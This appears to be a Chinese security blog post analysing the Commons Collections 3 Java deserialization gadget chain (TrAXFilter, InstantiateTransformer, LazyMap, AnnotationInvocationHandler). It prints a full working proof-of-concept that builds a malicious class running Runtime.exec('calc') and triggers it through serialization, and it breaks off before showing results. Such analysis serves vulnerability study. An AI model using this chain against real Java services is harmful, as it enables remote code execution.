Java安全之Commons Collections3分析
文章首发:Java安全之Commons Collections3分析
0x00 前言在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。CC1的利用链是
Map(Proxy).entrySet()触发AnnotationInvocationHandler.invoke(),而CC2链的利用链是通过InvokerTransformer.transform()调用newTransformer触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。
0x01 前置知识在CC3利用链的构造里面其实没有用到很多的新的一些知识点,但是有用到新的类,还是需要记录下来。
InstantiateTransformer首先还是查看一下构造方法。
在查看下面的代码的时候会发现他的transform方法非常的有意思。
transform方法会去使用反射实例化一个对象并且返回。
TrAXFilter查看TrAXFilter的构造方法,会发现更有意思的事情
_transformer = (TransformerImpl) templates.newTransformer();调用了传入参数的newTransformer()方法。在CC2链分析的时候,使用的是反射调用newTransformer,newTransformer调用defineTransletClasses()。最后再调用_class.newInstance()实例化_class对象。那么如果是使用TrAXFilter的话,就不需要InvokerTransformer的transform方法反射去调用了。
0x02 POC分析 package com.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections333333333"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(object); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }上面是一段POC代码,先来分析一下,POC为什么要这样去构造。
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();先来执行一遍看一下执行的结果